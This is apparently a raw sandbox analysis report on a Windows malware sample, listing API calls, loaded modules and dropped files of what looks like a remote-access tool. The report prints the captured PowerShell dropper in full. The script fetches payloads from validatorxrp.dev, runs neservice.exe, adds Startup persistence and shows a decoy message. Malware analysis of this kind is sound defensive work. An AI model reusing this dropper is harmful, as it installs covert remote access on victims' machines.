"163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "18b37f666f0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "1052293a8b010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "18b37f666f0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "PE):" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "18b37f666f0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "@+.:" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "18b37f666f0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "p+.:" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "18b37f666f0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "0/.:" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "18b3a246090" "pszBlobType": "RSAPUBLICBLOB" "phKey": "501b2e3a8b010000" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "18b3a2461d0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "0#.:" "pbInput": "RSA1" "cbInput": "291" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "18b3a2461d0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "a01c2e3a8b010000" "pbInput": "RSA1" "cbInput": "291" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "18b3a246090" "pszBlobType": "RSAPUBLICBLOB" "phKey": "c01d2e3a8b010000" "pbInput": "RSA1" "cbInput": "539" "dwFlags": "0"}4a:T5f0,Found reference to API "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "Warning. OpenProcess failed for pid %x, e=%d" (Indicator: "OpenProcess"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "Warning. OpenProcessToken failed, e=%d" (Indicator: "OpenProcess"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "OpenProcessToken FAILED (%d)" (Indicator: "OpenProcess"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "LookupPrivilegeNameA" (Indicator: "LookupPrivilegeName"; Source: "00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00006340.00000000.164028.010F9000.00000002.mdmp")4b:T3bb5,"powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff874570000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff874570000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff874570000 "powershell.exe" loaded module "KERNEL32" at base 7ff875df0000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff84f110000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff872900000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ff874980000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPRESOLVER.DLL" at base 7ff85e6b0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ff875df0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ff870720000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ff8756b0000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ff877f70000 "powershell.exe" loaded module "CSCAPI.DLL" at base 7ff866e50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff874370000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ff875d40000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ff84f060000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ff876510000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ff874350000 "powershell.exe" loaded module "VERSION.DLL" at base 7ff86b560000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ff847650000 "powershell.exe" loaded module "USER32.DLL" at base 7ff876380000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ff874570000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ff853320000 "powershell.exe" loaded module "NTDLL" at base 7ff877f70000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ff8766e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ff846050000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "OLE32.DLL" at base 7ff8760d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ff8766e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ff875440000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ff8453e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ff844960000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ff84eef0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff873760000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ff8428f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 7ff8766e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ff8766e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "SHELL32.DLL" at base 7ff876b00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WINTRUST.DLL" at base 0 "powershell.exe" loaded module "PSAPI.DLL" at base 18b39c40000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ff8744c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ff8744c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff8750d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\AMSI.DLL" at base 0 "powershell.exe" loaded module "AMSI.DLL" at base 7ff86cba0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff86b560000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ff86cb80000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ff8750d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\W3U31DIH.DLL" at base 7ff8625c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ff8559b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ff841f80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff855840000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ff8552d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ff84ed80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ff8416d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ff85f600000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ff874570000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ff84ec30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ff8557d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ff8551f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff84eaf0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ff855780000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base 7ff86a7e0000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ff8741f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WLDP.DLL" at base 0 "powershell.exe" loaded module "WLDP.DLL" at base 7ff8733b0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ff84ea10000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ff875df0000 "powershell.exe" loaded module "USERENV.DLL" at base 7ff8741c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff875d40000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ff8766e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ff841490000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ff85f870000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ff840780000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 7ff8738e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ff873e20000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\RASAPI32.DLL" at base 0 "powershell.exe" loaded module "RASAPI32.DLL" at base 7ff867fd0000 "powershell.exe" loaded module "RASMAN.DLL" at base 7ff868100000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "powershell.exe" loaded module "WS2_32.DLL" at base 7ff8757d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ff873b50000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WINHTTP.DLL" at base 0 "powershell.exe" loaded module "WINHTTP.DLL" at base 7ff8708e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ff8562a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ff86beb0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ff86d360000 "powershell.exe" loaded module "GDI32.DLL" at base 7ff875ea0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7ff8726c0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 7ff85f3d0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 7ff876b00000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7ff868a60000 "powershell.exe" loaded module "MSISO.DLL" at base 7ff8727a0000 "powershell.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ff874570000 "7z.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75650000 "7z.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75650000 "7z.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75650000 "7z.exe" loaded module "KERNEL32" at base 73fe0000 "7z.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 726c0000 "7z.exe" loaded module "RPCRT4.DLL" at base 740b0000 "7z.exe" loaded module "%LOCALAPPDATA%\NFSERVICE\7Z.DLL" at base 72590000 "neservice.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75650000 "neservice.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75650000 "neservice.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75650000 "neservice.exe" loaded module "KERNEL32" at base 73fe0000 "neservice.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 721f0000 "neservice.exe" loaded module "%LOCALAPPDATA%\NFSERVICE\DBGHELP.DLL" at base 0 "neservice.exe" loaded module "WTSAPI32.DLL" at base 73850000 "neservice.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 73fe0000 "neservice.exe" loaded module "API-MS-WIN-CORE-FILE-L1-2-1.DLL" at base 75650000 "neservice.exe" loaded module "DBGHELP.DLL" at base 72060000 "neservice.exe" loaded module "ADVAPI32.DLL" at base 76760000 "neservice.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73690000 "neservice.exe" loaded module "NSMTRACE" at base 0 "neservice.exe" loaded module "KERNEL32.DLL" at base 73fe0000 "neservice.exe" loaded module "SETUPAPI.DLL" at base 76840000 "neservice.exe" loaded module "%LOCALAPPDATA%\NFSERVICE\CRYPTPAK.DLL" at base 0 "neservice.exe" loaded module "%LOCALAPPDATA%\NFSERVICE\HTCTL32.DLL" at base 71fd0000 "neservice.exe" loaded module "WININET.DLL" at base 72310000 "neservice.exe" loaded module "PSAPI.DLL" at base 76f20000 "neservice.exe" loaded module "USER32.DLL" at base 764d0000 "neservice.exe" loaded module "IMM32" at base 759a0000 "neservice.exe" loaded module "PCIHOOKS" at base 0 "neservice.exe" loaded module "%WINDIR%\SYSTEM32\NAPINSP.DLL" at base 71fb0000 "neservice.exe" loaded module "RPCRT4.DLL" at base 740b0000 "neservice.exe" loaded module "%WINDIR%\SYSTEM32\PNRPNSP.DLL" at base 71f90000 "neservice.exe" loaded module "%WINDIR%\SYSTEM32\NLAAPI.DLL" at base 71f70000 "neservice.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 729d0000 "neservice.exe" loaded module "%WINDIR%\SYSTEM32\WINRNR.DLL" at base 71f60000 "neservice.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 71f10000 "neservice.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 71f00000 "neservice.exe" loaded module "NTDLL.DLL" at base 771c0000 "neservice.exe" loaded module "IPHLPAPI.DLL" at base 73b00000 "neservice.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 74310000 "neservice.exe" loaded module "SHELL32.DLL" at base 74310000 "neservice.exe" loaded module "RICHED32.DLL" at base 71ef0000 "neservice.exe" loaded module "USER32" at base 764d0000 "neservice.exe" loaded module "PCIINV.DLL" at base 0 "neservice.exe" loaded module "%WINDIR%\SYSWOW64\FIREWALLAPI.DLL" at base 71db0000 "neservice.exe" loaded module "SSPICLI.DLL" at base 73be0000 "7z.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 721f0000 "7z.exe" loaded module "%LOCALAPPDATA%\NFSERVICE\7Z.DLL" at base 71c200004c:T42a,Found registry query API: "RegOpenKeyTransactedA" in "00000000-00002888.00000002.167735.11188000.00000002.mdmp" Found registry query API: "RegOpenKeyExA" in "00000000-00002888.00000002.167735.11188000.00000002.mdmp" Found registry query API: "RegEnumKeyA" in "00000000-00002888.00000002.167735.11188000.00000002.mdmp" Found registry query API: "RegEnumValueA" in "00000000-00002888.00000002.167735.11188000.00000002.mdmp" Found registry query API: "RegEnumKeyExA" in "00000000-00002888.00000002.167735.11188000.00000002.mdmp" Found registry query API: "RegQueryInfoKeyA" in "00000000-00002888.00000002.167735.11188000.00000002.mdmp" Found registry query API: "RegQueryValueExA" in "00000000-00002888.00000002.167735.11188000.00000002.mdmp" Found registry query API: "RegQueryInfoKeyW" in "00000000-00002888.00000002.167735.11188000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00006340.00000000.164028.010F9000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00006340.00000000.164028.010F9000.00000002.mdmp"4d:T4ef,Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; Source: "00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "EnumSystemLocalesA" (Indicator: "EnumSystemLocales"; Source: "00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; Source: "00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp")4e:Tc4e,"7z.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 6 sections"- Location: [%LOCALAPPDATA%\Nfservice\7z.dll]- [targetUID: 00000000-00000400] "7z.exe" has type "PE32 executable for MS Windows 4.00 (console) Intel i386 6 sections"- Location: [%LOCALAPPDATA%\Nfservice\7z.exe]- [targetUID: 00000000-00000400] "neservice.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections"- Location: [%LOCALAPPDATA%\Nfservice\ns\neservice.exe]- [targetUID: 00000000-00002888] "pcicapi.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 5 sections"- Location: [%LOCALAPPDATA%\Nfservice\pcicapi.dll]- [targetUID: 00000000-00002888] "AudioCapture.dll" has type "PE32 executable for MS Windows 5.00 (DLL) Intel i386 5 sections"- Location: [%LOCALAPPDATA%\Nfservice\ns\AudioCapture.dll]- [targetUID: 00000000-00000400] "remcmdstub.exe" has type "PE32 executable for MS Windows 5.01 (console) Intel i386 5 sections"- Location: [%LOCALAPPDATA%\Nfservice\ns\remcmdstub.exe]- [targetUID: 00000000-00000400] "PCICL32.DLL" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 7 sections"- Location: [%LOCALAPPDATA%\Nfservice\ns\PCICL32.DLL]- [targetUID: 00000000-00002888] "TCCTL32.DLL" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%LOCALAPPDATA%\Nfservice\ns\TCCTL32.DLL]- [targetUID: 00000000-00000400] "HTCTL32.DLL" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%LOCALAPPDATA%\Nfservice\ns\HTCTL32.DLL]- [targetUID: 00000000-00002888] "PCICHEK.DLL" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%LOCALAPPDATA%\Nfservice\PCICHEK.DLL]- [targetUID: 00000000-00002888] "neservice.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections"- Location: [%LOCALAPPDATA%\Nfservice\neservice.exe]- [targetUID: 00000000-00002888] "pcicapi.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 5 sections"- Location: [%LOCALAPPDATA%\Nfservice\ns\pcicapi.dll]- [targetUID: 00000000-00002888] "AudioCapture.dll" has type "PE32 executable for MS Windows 5.00 (DLL) Intel i386 5 sections"- Location: [%LOCALAPPDATA%\Nfservice\AudioCapture.dll]- [targetUID: 00000000-00000400] "remcmdstub.exe" has type "PE32 executable for MS Windows 5.01 (console) Intel i386 5 sections"- Location: [%LOCALAPPDATA%\Nfservice\remcmdstub.exe]- [targetUID: 00000000-00000400] "PCICL32.DLL" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 7 sections"- Location: [%LOCALAPPDATA%\Nfservice\PCICL32.DLL]- [targetUID: 00000000-00002888] "TCCTL32.DLL" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%LOCALAPPDATA%\Nfservice\TCCTL32.DLL]- [targetUID: 00000000-00000400] "HTCTL32.DLL" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%LOCALAPPDATA%\Nfservice\HTCTL32.DLL]- [targetUID: 00000000-00002888] "PCICHEK.DLL" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%LOCALAPPDATA%\Nfservice\ns\PCICHEK.DLL]- [targetUID: 00000000-00002888]4f:T419,Script name: C:\48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542.bin.ps1 contents: $hahas = "$env:LOCALAPPDATA\Nfservice" New-Item -ItemType Directory -Force -Path $hahas | Out-Null $beza = "validatorxrp.dev/" $feer = @( "at.7z", "lnk.7z", "7z.exe", "7z.dll" ) foreach ($file in $feer) { $url = $beza + $file $dest = Join-Path $hahas $file Invoke-WebRequest $url -OutFile $dest } Set-Location "$env:LOCALAPPDATA\Nfservice" & ".\7z.exe" x at.7z -pppp -aoa -y > $null 2>&1 $exePath = "$env:LOCALAPPDATA\Nfservice\neservice.exe" if (Test-Path $exePath) { try { Start-Process $exePath Start-Sleep -Seconds 2 } catch {} } $startup = [Environment]::GetFolderPath("Startup") & "$env:LOCALAPPDATA\Nfservice\7z.exe" x "$env:LOCALAPPDATA\Nfservice\lnk.7z" "-pppp" "-aoa" "-y" "-o$startup" > $null 2>&1 Write-Host "Developer Mode is currently closed due to high participant volume. Please try again on February 2." -ForegroundColor Red Script name: na contents: $global:? 50:Tb84,Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: 